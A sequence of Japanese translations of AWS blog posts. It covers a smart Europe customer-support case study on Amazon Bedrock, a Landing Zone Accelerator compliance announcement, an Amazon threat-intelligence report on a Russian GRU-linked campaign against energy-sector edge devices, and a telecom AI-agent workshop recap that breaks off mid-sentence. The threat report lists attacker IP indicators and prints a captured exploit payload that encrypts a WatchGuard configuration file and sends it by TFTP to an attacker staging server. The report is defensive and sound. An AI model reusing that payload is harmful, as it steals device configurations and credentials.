があります。ピーク時には、問い合わせケースの同時更新による負荷がこれらの制限を超え、その結果、スロットリングが発生していました。 解決策: アプリケーションは Amazon SQS を使用してリクエストをバッファし、同時実行数の制限が予約された AWS Lambda 関数である“Step Function Scheduler“ を利用して 生成 AI エンドポイントへの推論リクエストのペースを制御します。このメカニズムは、並行して実行されている AWS Step Functions によって開始される 生成 AI 推論が Amazon Bedrock のランタイムクォータを超えないようにし、 Amazon Bedrock エンドポイントのスロットリングを防ぐのに役立ちます (パターンの詳細については、 このブログ投稿 の図 4 を参照してください)。さらに、 AWS Step Functions 内では エクスポネンシャルバックオフとジッター が適用され、アプリケーションの耐障害性が高まります。 課題 3: 過剰な更新トリガー 新しい AI インサイトが必要ない場合でも、アプリケーションは問い合わせケース更新のたびに処理していたため、不必要な負荷とコストが発生していました。 解決策: smart Europe は、変更タイプ、コンテンツの重要性、ビジネスルールに基づいて関連する更新のみを選択的に処理するフィルタリング機構を AWS Lambda 関数で開発しました。 変革をもたらす結果 Amazon Bedrock を利用した自動化の影響は、大きな変革をもたらしました。わずか 4 人の開発者 (1 人の AI エンジニア、1 人のクラウドアーキテクト、2 人 の CRM エンジニア) で構成された小規模なチームが 3 か月でソリューションを設計して提供した結果、smart Europe は以下を達成しました。 問い合わせ解決時間を 40% 短縮: サポート担当者は AI の活用により、顧客からの問い合わせをはるかに迅速に解決できます。 ファーストコンタクトによる解決が 20% 増加: フォローアップのやり取りを必要とせずに解決できる顧客の問題が増えています。 10,000 件を超える問い合わせケースを処理: このソリューションは、すでに現実世界での多くの実績を積み上げています 2025 年の当初計画予算から 30% の節約見込み: 効率性の向上と処理時間の短縮により、投資収益率が大幅に向上します。 今後、smart Europeの AI チームは、製品の複雑さが増すにつれて、エージェント機能でソリューションを充実させることを計画しています。 結論: 自動車業界の顧客体験の向上 smart Europe の実装は、現代の自動車企業が日々直面している特有の課題を生成 AI と AWS のクラウド技術がどのように解決できるかを示しています。 smart Europe の AI チームは、自動化と人間の専門知識を組み合わせることで、コストを節約して顧客満足度を向上させながら、イノベーション・サイクルとともに成長するスケーラブルなソリューションを構築しました。 smart Europe の成果に限らず、この実装は急速な技術進化を遂げている業界全体で AI を活用したカスタマーサポートがもたらす変革のポテンシャルを示しました。自動車企業が高度なコネクテッドサービスと自律的機能を統合し続ける中、 smart.AI Case Handler のようなソリューションは、サポート効率を劇的に向上させながら、優れた顧客体験を大規模に維持する実証済みの事例となっています。 サポート量の増加、解決時間の増大、チーム全体での知識の横展開など、同様の課題に直面している場合、 Amazon Bedrock は独自のインテリジェントなサポートソリューションの構築を支援します。Amazon Bedrock を始めて、カスタマーサポート業務の変革に向けた第一歩を踏み出しましょう。 Levent Kent Levent Kent は、アマゾンウェブサービス (AWS) のシニア生成 AI ソリューションアーキテクトです。銀行、教育、ヘルスケアから自動車、製造に至るまで、さまざまな分野で 14 年以上にわたるサービス提供経験とアーキテクチャの専門知識を有します。現在は、自動車や製造業のお客様とのコラボレーションを通じて、スケーラブルで革新的な生成 AI ソリューションの設計と構築を支援することで成功を収めています。空き時間には、友達と踊ったり歌ったりするのが好きです。 Andreas Rickert Andreas Rickert は、smart Europe のシニアデータエンジニア兼データアーキテクトです。現在は smart.AI イニシアチブに注力し、革新的な生成AI搭載製品の開発を推進しています。Andreas はクラウドテクノロジーに重点を置き、smart Europe がデータと AI の力を活用して変革の成果を実現できるようにする、スケーラブルで最先端のデータアーキテクチャを設計および実装しています。空き時間には、仕事と個人的な情熱のバランスをとりながら、運動を通して活動的でいることを楽しんでいます。 Bastian Klein DevOps、コンテナテクノロジー、クラウドアーキテクチャで 10 年以上の経験を持つ Bastian Klein は、AWS のグローバルソリューションアーキテクトとして、自動車および製造業のインフラのモダナイズや複雑なクラウドトランスフォーメーションを支援しています。 Hidayat Heydarov Hidayat Heydarov は、 smart Europe でデータ & AI プロダクトマネージャーを務め、データおよびビジネスインテリジェンスプラットフォームの開発とともに、AI製品ソリューションを推進しています。Hidayat は、データ、人工知能、自動車セクターの専門知識における幅広い経歴を活かして、部門を超えたアジャイルチームと協力して、生のデータを実用的な洞察やインテリジェントシステムに変換しています。データ戦略を考える以外では、本に没頭したり、ブログを通じて洞察を共有したりすることを楽しんでいます。 本記事は Solutions Architect の坂本 和穂 が翻訳しました。

本ブログは 2025 年 11 月 20 日に公開された AWS Blog “ Introducing the Landing Zone Accelerator on AWS Universal Configuration and LZA Compliance Workbook ” を翻訳したものです。 AWS は、 Landing Zone Accelerator on AWS (LZA) の最新のサンプルセキュリティベースラインである Universal Configuration の提供を開始しましたのでお知らせします。Universal Configuration は、世界各国の政府機関を含む規制の厳しい業界のお客様との長年の現場経験と、AWS パートナーや業界の専門家との協議に基づいて開発されました。規制対象のワークロードに対してセキュリティとコンプライアンスを大規模に実装できるよう支援します。最新の AWS セキュリティベストプラクティスに基づく高い基準により、Universal Configuration はさまざまな地域や業界セクターのコンプライアンスフレームワークからの技術的コントロール要件に対応できます。Universal Configuration のマルチアカウントセキュリティアーキテクチャは、現在の多様なワークロード要件をホストするための基盤を提供するとともに、将来の組織を支える 生成 AI や エージェンティック AI ソリューションの導入にも柔軟に対応できます。また、 AWS Well-Architected の原則に基づいた包括的なセキュリティおよびコンプライアンス重視の環境を数時間でデプロイでき、数か月に及ぶ複雑な計画と設計を大幅に短縮できます。 組織が成長するにつれて、新しいセキュリティコンプライアンス認証の取得や遵守が求められます。LZA と Universal Configuration は、セキュリティとコンプライアンスの取り組みにおいて、あらゆる規模とフェーズの組織を支援します。デプロイの速さ、ステップバイステップのドキュメント、コンプライアンスリソースにより、従来のセキュリティ評価・認証取得のプロセスを数ヶ月短縮し、より確実で良好な監査結果を得やすくなります。これにより、セキュリティとコンプライアンスを確保しながらも、ビジネスの成長にリソースを投資する自由度が高まります。 Universal Configuration は、組織が以下を実現するのに役立ちます。 AWS におけるセキュアなマルチアカウント環境のデプロイを自動化 AWS Well-Architected ベストプラクティスに基づく基盤となるセキュリティコントロール デプロイ後もすべての環境に同一のセキュリティコントロールを確実に適用 ネイティブの AWS セキュリティ、アイデンティティ、コンプライアンスサービスを有効化して統合 システムレイヤー全体にコントロールを実装 組織全体のセキュリティアーキテクチャ 境界およびリソース固有の予防的コントロール、プロアクティブコントロール、検出コントロール 複数の AWS リージョンにわたるレジリエンス、ディザスタリカバリ、アクティブフェイルオーバーのサポート セキュリティとコンプライアンス対応の基盤を確立 組み込みの AWS セキュリティベストプラクティスと技術的な実装ステートメント グローバルおよび業界固有のコンプライアンスフレームワーク全体に LZA の機能をマッピング 数ヶ月ではなく数時間で何百ものコントロールをデプロイ LZA Compliance Workbook LZA エンジンは、4 年以上にわたって AWS におけるセキュアなマルチアカウント環境を迅速にデプロイするための信頼できるツールとして活用されてきました。また、環境の運用に使用される AWS サービスに対してのみ料金が発生するため、コスト効率も優れています。 LZA Compliance Workbook は AWS Artifact で新たに公開されたリソースで、Universal Configuration と併せて利用できます。これは、Universal Configuration が NIST 800-53 Rev5、CMMC/NIST 800-171、ISO-27001、HIPAA、C5:2020、NATO D-32 (Appendix B)、DoD CCI などのフレームワークの要件にどのように対応できるかを示す詳細なコントロールマッピングを含む、これまでにない画期的なリソースです。 LZA Compliance Workbook は、最新の Universal Configuration ベースラインを反映するために定期的にメンテナンスされており、今後のリリースでは追加のコンプライアンスマッピングが含まれる予定です。このワークブックには、Universal Configuration のデプロイファイルに基づく詳細なセキュリティ設定の説明と、セキュリティ機能をコンプライアンスに適した形式に変換するコントロール要件のマッピングおよび実装ステートメントが含まれています。AWS セキュリティベストプラクティスとグローバルなコンプライアンスの専門知識を組み合わせることで、Universal Configuration は一貫したセキュリティを実現しながら、地域や業界の要件を満たすことも支援します。 使用開始方法 Landing Zone Accelerator on AWS の Universal Configuration の使用を開始するには、 LZA 実装ガイド で、LZA を使用したデプロイの手順、ユースケース、考慮事項を確認できます。 LZA Compliance Workbook は AWS Artifact から今すぐダウンロードでき、 通知を設定 して、将来のバージョンがリリースされたときにメールを受け取ることができます。デプロイファイルと追加の技術的な実装ガイダンスは、 GitHub の Universal Configuration サンプルおよびドキュメントページ で確認できます。また、監査やアドバイザリーの取り組み、クラウド移行、LZA Universal Configuration のデプロイ、その他のサービスについては、 AWS Partner Network (APN) をご覧ください。 AWS Partner Finder ツール にアクセスし、 Landing Zone Accelerator でソリューションを検索すると、最新の LZA パートナーサービスを確認できます。 ご質問やフィードバックがある場合には、AWS サポートにお問い合わせください。 Kevin Donohue Kevin は AWS のシニアセキュリティコンプライアンスエンジニアで、AWS のお客様がセキュリティとコンプライアンスの目標を達成するためのソリューションとリソースを構築しています。2024 年に AWS プロフェッショナルサービスの Landing Zone Accelerator チームに参加する前は、2019 年から AWS Security に所属し、FedRAMP コンプライアンスと責任共有モデルを専門としていました。 Christine Screnci Christine は AWS のプリンシパルテクニカルプロダクトマネージャーで、エンタープライズレベルのソリューションの開発とスケーリングを専門としています。2016 年に AWS に入社し、グローバルにスケールするソリューションを通じて、世界中の公共部門のお客様の移行とモダナイゼーションの取り組みを支援してきました。仮説駆動型の開発と実験を通じて、AWS テクノロジーによるお客様体験の向上に情熱を注いでいます。 Bhavish Khatri Bhavish は AWS のシニアデリバリーエンジニアで、大規模な組織がコンプライアンス目標を達成するためのエンタープライズスケールのソリューションを構築しています。2018 年に AWS に入社し、マルチアカウント AWS デプロイを専門とし、LZA と Universal Configuration ソリューションに注力しています。さまざまなセクターにおけるグローバルなコンプライアンスフレームワークと規制要件に沿った、セキュアでスケーラブルなクラウド環境の構築を組織が実現できるよう支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 12 月 15 日に公開された AWS Blog “ Amazon Threat Intelligence identifies Russian cyber threat group targeting Western critical infrastructure ” を翻訳したものです。 2025 年の締めくくりとして、Amazon Threat Intelligence は、重要インフラを標的とした攻撃において大きな進化を示す、数年にわたるロシア国家支援型サイバー攻撃キャンペーンに関する知見を共有します。このキャンペーンでは、設定ミスのあるお客様のネットワークエッジデバイスが主要な初期アクセスベクトルとなり、脆弱性を悪用する活動は減少するという戦術的な転換が見られました。この戦術的な適応により、認証情報の窃取や被害組織のオンラインサービスおよびインフラストラクチャへのラテラルムーブメント (横方向への移動) という同じ攻撃目的を達成しながら、脅威アクターの露出とリソース消費を削減できるようになっています。 2026 年に向けて、組織はネットワークエッジデバイスのセキュリティ確保と認証情報リプレイ攻撃の監視を優先し、この永続的な脅威から防御する必要があります。Amazon のテレメトリで観測された既知の Sandworm (APT44 や Seashell Blizzard としても知られる) の活動との攻撃インフラの共通点と、一貫した標的パターンに基づき、この活動クラスターがロシア連邦軍参謀本部情報総局 (GRU) に関連している可能性が高いと判断しています。このキャンペーンは、西側の重要インフラ、特にエネルギーセクターに対する継続的な注力を示しており、2021 年から現在まで活動が継続しています。 技術的な詳細 キャンペーンの範囲と標的: Amazon Threat Intelligence は、2021 年から 2025 年にかけてグローバルインフラストラクチャに対する継続的な標的型攻撃を観測しており、特にエネルギーセクターに焦点が当てられています。このキャンペーンは、戦術の明確な進化を示しています。 タイムライン: 2021〜2022 年 : Amazon MadPot が WatchGuard の悪用 (CVE-2022-26318) を検出。設定ミスのあるデバイスへの標的活動を観測 2022〜2023 年 : Confluence の脆弱性悪用 (CVE-2021-26084、CVE-2023-22518)。設定ミスのあるデバイスへの標的活動が継続 2024 年 : Veeam の悪用 (CVE-2023-27532)。設定ミスのあるデバイスへの標的活動が継続 2025 年 : 設定ミスのあるお客様のネットワークエッジデバイスへの継続的な標的型攻撃。N-day エクスプロイト/ゼロデイエクスプロイト活動の減少 主な標的: 西側諸国のエネルギーセクター組織 北米および欧州の重要インフラプロバイダー クラウドホスト型ネットワークインフラストラクチャを持つ組織 一般的に標的となるリソース: エンタープライズルーターおよびルーティングインフラストラクチャ VPN コンセントレータ (VPN 集約装置) およびリモートアクセスゲートウェイ ネットワーク管理アプライアンス コラボレーションおよび Wiki プラットフォーム クラウドベースのプロジェクト管理システム 管理インターフェイスが露出した、設定ミスのある「容易に狙える標的」であるお客様のデバイスを標的にすることで、同じ攻撃目的を達成できます。つまり、重要インフラネットワークへの永続的なアクセスと、被害組織のオンラインサービスにアクセスするための認証情報の窃取です。脅威アクターの活動ペースの変化は、懸念される進化を示しています。お客様の設定ミスを標的とする活動は少なくとも 2022 年から継続していますが、この脅威アクターは 2025 年にこの活動に継続的に注力しながら、ゼロデイエクスプロイトおよび N-day エクスプロイトの使用を減少させました。これにより、より検出されやすい脆弱性悪用攻撃を通じて活動が露見するリスクを大幅に低減しています。 認証情報の窃取活動 被害組織の認証情報を窃取する手法を直接観測していませんが、複数の指標からパケットキャプチャとトラフィック分析が主要な収集方法であることを示しています。 時間分析 : デバイスの侵害から被害者のサービスに対する認証試行までの時間差は、能動的な認証情報の窃取ではなく受動的な収集を示唆しています 認証情報の種類 : オンラインサービスへのアクセスに被害組織の認証情報 (デバイスの認証情報ではない) が使用されていることは、ユーザー認証トラフィックの盗聴を示しています 既知の攻撃手法 : Sandworm の活動には一貫してネットワークトラフィック盗聴機能が含まれています 戦略的な位置取り : お客様のネットワークエッジデバイスを標的にすることで、脅威アクターは転送中の認証情報を盗聴できる位置に配置されます インフラストラクチャの標的化 AWS でホストされているインフラストラクチャの侵害: Amazon のテレメトリは、AWS でホストされているお客様のネットワークエッジデバイスに対する組織的な活動を明らかにしています。これは AWS の脆弱性によるものではなく、お客様が設定ミスをしたデバイスであると考えられます。ネットワーク接続分析では、脅威アクターが制御する IP アドレスが、お客様のネットワークアプライアンスソフトウェアを実行している侵害された EC2 インスタンスへの永続的な接続を確立していることが示されています。分析の結果、複数の影響を受けたインスタンス全体で、インタラクティブなアクセスとデータ取得と一致する永続的な接続が明らかになりました。 認証情報リプレイ活動: 被害者のインフラストラクチャへの直接的な侵害に加えて、被害組織のオンラインサービスに対する体系的な認証情報リプレイ攻撃を観測しました。観測された事例では、脅威アクターは AWS でホストされているお客様のネットワークエッジデバイスを侵害し、その後、被害組織のドメインに関連付けられた認証情報を使用して、そのオンラインサービスに対する認証を試みました。これらの特定の試行は失敗しましたが、デバイスの侵害後に被害者の認証情報を使用した認証試行が行われるパターンは、脅威アクターが侵害されたお客様のネットワークインフラストラクチャから認証情報を窃取し、標的組織のオンラインサービスに対してリプレイしているという私たちの分析を裏付けています。脅威アクターのインフラストラクチャは、2025 年を通じて、以下を含む重要セクター全体の複数の組織の認証エンドポイントにアクセスしました。 エネルギーセクター : 電力会社、エネルギープロバイダー、およびエネルギーセクターのクライアントを専門とするマネージドセキュリティサービスプロバイダー テクノロジー/クラウドサービス : コラボレーションプラットフォーム、ソースコードリポジトリ 通信 : 複数のリージョンにわたる通信プロバイダー 地理的分布: 標的活動はグローバルな範囲に及んでいます。 北米 欧州 (西欧および東欧) 中東 標的活動は、直接的な運用者と重要インフラネットワークへのアクセスを持つサードパーティのサービスプロバイダーの両方を含む、エネルギーセクターのサプライチェーンへの継続的な注力を示しています。 キャンペーンの流れ: AWS でホストされているお客様のネットワークエッジデバイスを侵害する ネイティブのパケットキャプチャ機能を活用する 盗聴したトラフィックから認証情報を窃取する 被害組織のオンラインサービスおよびインフラストラクチャに対して認証情報をリプレイする ラテラルムーブメントのための永続的なアクセスを確立する 「Curly COMrades」との攻撃インフラの共通性 Amazon Threat Intelligence は、Bitdefender が「Curly COMrades」として追跡しているグループとの攻撃インフラの共通点を特定しました。これらがより広範な GRU キャンペーン内の補完的な活動を表している可能性があると考えています。 Bitdefender のレポート : 侵害後のホストベースの攻撃手法 (EDR 回避のための Hyper-V 悪用、カスタムインプラント CurlyShell/CurlCat) Amazon のテレメトリ : 初期アクセスベクトルとクラウドピボット手法 このような役割分担 (一方のクラスターがネットワークアクセスと初期侵害に注力し、もう一方がホストベースの永続化と回避を担当する) は、より広範なキャンペーン目標を支援する専門化されたサブクラスターという GRU の活動パターンと一致しています。 Amazon の対応と阻止活動 Amazon は、高度な脅威アクターを積極的に調査し阻止することで、お客様とより広範なインターネットエコシステムの保護に引き続き取り組んでいます。 即時対応アクション: 侵害されたネットワークアプライアンスリソースを持つ影響を受けたお客様を特定し、通知 侵害された EC2 インスタンスの即時修復を支援 業界パートナーおよび影響を受けたベンダーとインテリジェンスを共有 セキュリティ調査を支援するため、ネットワークアプライアンスベンダーに観測結果を報告 阻止活動の効果: 協調的な取り組みにより、この活動を発見して以来、活動中の脅威アクターのオペレーションを阻止し、この脅威活動サブクラスターが利用可能なアタックサーフェスを削減しました。Amazon は引き続きセキュリティコミュニティと協力してインテリジェンスを共有し、重要インフラを標的とする国家支援型の脅威に対して共同で防御していきます。 組織の防御 2026 年に向けた優先対応事項 組織は、この活動パターンの証拠を積極的に監視する必要があります。 1. ネットワークエッジデバイスの監査 すべてのネットワークエッジデバイスで予期しないパケットキャプチャファイルやユーティリティがないか監査する デバイス設定で露出した管理インターフェイスがないか確認する 管理インターフェイスを分離するためにネットワークセグメンテーションを実装する 強力な認証を適用する (デフォルト認証情報の変更、MFA の実装) 2. 認証情報リプレイの検出 ネットワークデバイス管理インターフェイスとオンラインサービス間での認証情報の再利用がないか認証ログを確認する 予期しない地理的位置からの認証試行を監視する 組織のオンラインサービス全体で認証パターンの異常検出を実装する デバイス侵害の疑いがある場合、遅延した認証情報リプレイ試行がないか延長された時間枠を確認する 3. アクセス監視 予期しない送信元 IP からルーター/アプライアンス管理ポータルへのインタラクティブセッションを監視する ネットワークデバイス管理インターフェイスが意図せずインターネットに露出していないか確認する 認証情報を露出させる可能性のある平文プロトコルの使用 (Telnet、HTTP、暗号化されていない SNMP) を監査する 4. IOC の確認 エネルギーセクター組織および重要インフラ運用者は、以下に記載された IOC からの認証試行がないかアクセスログの確認を優先する必要があります。 AWS 固有の推奨事項 AWS 環境では、以下の保護対策を実装してください。 ID およびアクセス管理: 可能な限り、ID プロバイダーと IAM ロールを使用した ID フェデレーションで AWS リソースおよび API へのアクセスを管理する 詳細については、 IAM ユーザーガイド の IAM ポリシーの作成 を参照してください ネットワークセキュリティ: セキュリティグループに最小権限のルールを実装する 踏み台ホストアクセスを使用してプライベートサブネットに管理インターフェイスを分離する ネットワークトラフィック分析のために VPC Flow Logs を有効にする 脆弱性管理: Amazon Inspector を使用して、Amazon EC2 インスタンスのソフトウェアの脆弱性と意図しないネットワークの露出を自動的に検出してスキャンする 詳細については、 Amazon Inspector ユーザーガイド を参照してください インスタンス上のオペレーティングシステムとアプリケーションを定期的にパッチ適用、更新、保護する 検出と監視: API アクティビティ監視のために AWS CloudTrail を有効にする 脅威検出のために Amazon GuardDuty を設定する 認証情報リプレイパターンがないか認証ログを確認する IOC (侵害の痕跡) IOC 値 IOC タイプ 初回観測 最終観測 注釈 91.99.25[.]54 IPv4 2025-07-02 現在 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 185.66.141[.]145 IPv4 2025-01-10 2025-08-22 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 51.91.101[.]177 IPv4 2024-02-01 2024-08-28 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 212.47.226[.]64 IPv4 2024-10-10 2024-11-06 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 213.152.3[.]110 IPv4 2023-05-31 2024-09-23 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 145.239.195[.]220 IPv4 2021-08-12 2023-05-29 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 103.11.190[.]99 IPv4 2021-10-21 2023-04-02 WatchGuard 設定ファイルを窃取するために使用された侵害された正規ステージングサーバー 217.153.191[.]190 IPv4 2023-06-10 2025-12-08 偵察と標的選定に使用された長期インフラストラクチャ 注: 特定されたすべての IP は、脅威アクターにとって複数の目的に使用されているか、正規の運用を継続している可能性のある侵害された正規サーバーです。組織は自動的にブロックするのではなく、一致した場合のコンテキストを調査する必要があります。記載された期間中にこれらの IP がルーター管理インターフェイスにアクセスし、オンラインサービスへの認証を試行していることを観測しました。 技術付録: CVE-2022-26318 エクスプロイトペイロード 以下のペイロードは、2022 年の WatchGuard 悪用キャンペーン中に Amazon MadPot によってキャプチャされたものです。 from cryptography.fernet import Fernet import subprocess import os key = 'uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk=' with open('/etc/wg/config.xml', 'rb') as config_file: buf = config_file.read() fernet = Fernet(key) enc_buf = fernet.encrypt(buf) with open('/tmp/enc_config.xml', 'wb') as encrypted_config: encrypted_config.write(enc_buf) subprocess.check_output(['tftp', '-p', '-l', '/tmp/enc_config.xml', '-r', '[REDACTED].bin', '103.11.190[.]99']) os.remove('/tmp/enc_config.xml') このペイロードは、脅威アクターの攻撃手法を示しています。窃取した設定データを暗号化し、TFTP 経由で侵害されたステージングインフラストラクチャに送信した後、フォレンジック証拠を削除しています。 この投稿に関するご質問がある場合は、 AWS サポート にお問い合わせください。 CJ Moses CJ Moses は Amazon Integrated Security の CISO です。Amazon 全体のセキュリティエンジニアリングと運用を統括しています。彼のミッションは、セキュリティのメリットを最も抵抗の少ない道にすることで、Amazon のビジネスを支援することです。2007 年 12 月に Amazon に入社し、Consumer CISO、直近では AWS CISO など様々な役職を歴任した後、2023 年 9 月に Amazon Integrated Security の CISO に就任しました。 Amazon 入社前は、連邦捜査局 (FBI) サイバー部門でコンピュータおよびネットワーク侵入の技術分析を統括していました。また、空軍特別捜査局 (AFOSI) の特別捜査官としても勤務しました。今日のセキュリティ業界の基盤となるいくつかのコンピュータ侵入捜査を主導しました。 コンピュータサイエンスと刑事司法の学位を持ち、現役の SRO GT America GT2 レースカードライバーでもあります。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

通信業界のネットワーク運用ではより安定した通信ネットワークを提供するために、障害の検知、要因特定、復旧を早期に対応する必要があります。一方で、近年拡張し複雑化し続けるネットワークに追従することは従来のオペレーションでは難しく、自動化、高度化、自律化が求められています。その実現手段の1つとして、AI エージェントとデータ活用が注目されており、導入への期待が高まる一方で、AI を適用する運用ユースケースの策定、より簡単な AI エージェントの実装方法、商用運用への本格導入、といった課題があります。そこで、本ワークショップでは、通信ネットワークの運用に携わる方向けに、 AI エージェントの仕組みを学び、参考アーキテクチャや事例から最新動向を知り、ハンズオンでより具体的な実装方法を学び、ネットワーク運用 AI エージェントを触って体感していただく場を提供しました。事例紹介の 1 つとして、株式会社 NTTドコモにご登壇いただきました。また、複数社による同じネットワーク運用に携わる者同士の意見交換や AI エージェント活用のためのユースケース議論を行っていただくことで、他社動向や自社の課題を浮き彫りにし、今後のアクションの参考にしていただく場も提供しました。通信ネットワーク運用に特化した業界横断イベントは、今回初めてであり今後も定期的に開催していきたいと思います。 早朝から 96 名/ 14 社のお客様に目黒オフィスまで足を運んでいただき、懇親会まで含めて大盛況なイベントとなりました。ご参加いただきました皆様、本当にありがとうございました！！ アジェンダ タイトル スピーカー 資料 AI エージェント とは – Autonomous Network の実現のために 宮崎 友貴*1 ダウンロード Strands Agents ハンズオン – AI エージェント開発を簡素化しよう 神谷 拳四郎*1 ダウンロード ランチタイム ユースケース議論 宮崎 友貴 通信ネットワーク運用 AI エージェント実践編 – 実際に作って、動かして、触ってみよう 堀場 勝広*2 ダウンロード Amazon Bedrock AgentCore 概要 – AI Agent を本番環境にデプロイおよび運用する方法を学ぼう 川岸 基成*1 ダウンロード クロージング 宮崎 友貴 ダウンロード 懇親会 – – ※1. Solutions Architect, ※2. Principal Solutions Architect AI エージェント とは – Autonomous Network 実現のために 通信業界のオペレーション標準化団体である TM Forum では、 Autonomous Network (自律ネットワーク）の自律レベルを定義しており、 近年、多くの通信事業者が L4 (高度自律ネットワーク) / L5 (完全自律ネットワーク) を目指す動きが出てきています。それを実現するためのコンポーネントの例と AWS で実現する参考アーキテクチャをご紹介しました。このアーキテクチャのキーは、AI エージェント × データであり、Autonomous Network の実現には必須要素であることをお伝えしました。そして、AI エージェントが自律的な行動を行うことができるようになった基礎技術や変遷と共に、オペレーション業務に携わるオペレータと近い動きができることを説明しました。最後に、AI エージェントの活用事例とネットワーク運用における AI エージェントの 参考ユースケース をご紹介することで、最新の業界動向と AI エージェントによる自律運用が実現可能な世界であることをインフルエンスさせていただきました。 宮崎 友貴 Solutions Architect NTTドコモ 「さらば、単純作業！AWSで実現する、”人間が人間らしく働く”ためのネットワーク運用自動化」の事例紹介 AI エージェントを使ったネットワーク運用自動化の事例として、NTTドコモ の舟山空良氏と福嶋章悟氏にご登壇いただきました。両氏は、モバイル端末と MEC 基盤を直結して通信経路を最適化することで、低遅延・高セキュリティ通信を実現するサービス docomo MEC® のオプションであるサービス「MECダイレクト®」 の開発・構築・運用を担当しており、定義済みのフローによる運用の自動化がある程度完了したことで、さなる自動化を目指し、AI の活用に挑戦しました。 株式会社 NTTドコモ 舟山 空良氏（写真左） 福嶋 章悟氏（写真右） 登壇時点では、AI エージェントによる監視措置業務の自律的な実行を実現し、アラート受信、分析、措置手順の提案までの自動化を達成され、そのソリューションとして Amazon Bedrock エージェント を使用していることをご説明いただきました (以下、システム構成図)。Bedrock エージェントの選定の理由としては、マネージドかつサーバーレスなためインフラの構築に時間をかけず迅速な開発を行うことができた点や、社内のセキュリティ承認を得るためのデータプライバシーの観点で Bedrock ではデータをモデルの学習にはしない点が評価されました。 実際の AI エージェントの開発では、参照するデータを泥臭く時間をかけて整備し、プロンプトを工夫することが精度向上には必要であることや、AI に完璧さを求めないこと、がリアルな実装のポイントとして挙げられました。将来的には、LLM 適用による維持管理業務への AI エージェントの適用を行い、AI エージェントの適用領域のさらなる拡張を進め、自律レベルの向上を目指しています。 Strands Agents ハンズオン – AI エージェント開発を簡素化しよう Autonomous Network 実現の核となる AI エージェント、それをわずか数行のコードで構築可能なオープンソース SDK である Strands Agents をご紹介しました。Strands Agents はシンプルな実装だけでなく、本番稼働に対応するためのオブザーバビリティ、モデルプロバイダーやデプロイ環境に依存しない設計思想、データを保護しながら責任を持ってエージェントを実行することを最優先とするなどの特徴があります。本パートでは実際に SDK を使って AI エージェントを構築し、Strands Agents における主要な概念と機能を探索するハンズオンを行いました。 神谷 拳四郎 Solutions Architect Autonomous Network の自律レベル向上を目指していくにあたっては、単一の AI エージェントによるタスク処理だけではなく、マルチエージェントによる協調の必要性が高まってくるでしょう。異なるスキルやモダリティをもつ、複数の専門化された AI エージェントを効果的に組み合わせるデザインパターンとして Agents as Tools、Swarm、Graph、Workflow の4つをご紹介しました。 運用業務における AI エージェントのユースケース議論 本イベントは、複数社の運用担当者にご参加いただいたので、各社混合のグループディスカッションを AWS 社員も交えて実施いただきました。議論テーマは、以下です。各社、自担当の業務をご紹介いただき、どのような業務を AI エージェントに任せられるのか、を議論いただきました。AI エージェントに任せられる業務としては、調査、分析、切り分け、オペレータの支援、ドキュメント作成、オペレーションの記録、ネットワークのエッジ側での操作、などが挙げられ、任せられない業務としては、サービス影響の出る可能性のあるオペレーションの実行、顧客対応や社内調整など対人コミュニケーション関連の業務が挙げられました。各社の AI 活用状況や運用の現場における課題の共有、活発な意見交換が行われました。 通信ネットワーク運用 AI エージェント実践編 – 実際に作って、動かして、触ってみよう 本セッションでは、「実際に触って、動かして、理解して、そして、考えてみよう」というコンセプトに、通信ネットワーク運用における AI エージェント活用の実践的なハンズオンを実施しました。参加者の皆様には、通信ネットワークの保守運用者の立場で、数千台以上の装置で構成されるトランスポート～基地局 NW 網を管理し、毎日数万件以上のアラームが発生する環境で AI エージェントを活用したネットワーク運用を体験いただきました。 堀場 勝広 Solutions Architect ハンズオンの技術アーキテクチャ 本ハンズオンでは、AWS の複数のサービスを統合した実践的な環境を構築しました。データストア層として、 Amazon Neptune をグラフ DB とベクトル DB の両方で活用し、ネットワークトポロジデータとエージェント用の知識ベースを格納しました。また、 Amazon Aurora (RDB) にはネットワークトポロジとアラーム情報を、 Amazon S3 ストレージには保守運用マニュアルや対応手順書を格納しました。 AI処理層では、Amazon Bedrock が提供する大規模言語モデル（LLM）を基盤として、複数の専用 AI エージェントを配置しました。Orchestration エージェント（全体調整）、Observability （分析）エージェント、ナレッジエージェント、チケット管理エージェント、そしてRCA （根本原因分析）エージェントが連携し、包括的なネットワーク運用支援を実現しています。さらに、外部システムとして ServiceNow ITSM と連携し、インシデントチケットの管理も可能にしました。 実践的な対話シナリオ 参加者の皆様には、AI エージェントとの対話を通じて、以下のような実践的なシナリオを体験いただきました。 ナレッジベースへのアクセス：「網内の装置にて IF 品質異常発⽣(流⼊ error )が発⽣した場合どう対処すべきか？」といった質問を通じて、保守運用マニュアルから必要な情報を即座に取得する体験をしていただきました。 アラームの分析：「 2024-0713-0900 前後 30 分間に埼玉エリアで発生したアラームから、発生していたネットワーク障害の内容をまとめて下さい」といった時系列での障害分析や、計画作業との関係性分析を実施しました。 トポロジの分析：アラーム情報とネットワークトポロジ情報を組み合わせることで、障害の根本的な原因を特定する高度な分析を体験いただきました。さらに、マニュアルに沿った対応として、「根本的な原因を解決するために必要な処理は何ですか？保守運用マニュアルに従って回答して下さい」という質問を通じて、AI エージェントが適切な対応手順を提示する様子を確認しました。 最後にチケットの起票：「障害の概要、根本原因の分析結果、対応手順を取りまとめて ServiceNow にチケット起票」と言う依頼を通じて、AI エージェントが一連の対応を外部システム( ServiceNow )に書き込み可能なことをご確認いただきました。 システムの内部構造を探る – 応用編 ハンズオンの後半では、Jupyter Notebook を使用して AI エージェントの動作をカスタマイズし、パラメータ調整による応答内容の最適化を体験いただきました。例えば、マルチエージェント構成のオーケストレーターエージェントのシステムプロンプトを変更することにより、他のエージェントの呼び出し方の変化を体験いただきました。これにより、AI エージェントが単なるブラックボックスではなく、調整可能なシステムであることを実感していただけたと考えています。 ハンズオンを経験した上でのユースケース議論 ワークショップの後半 60 分間では、グループに分かれて AI 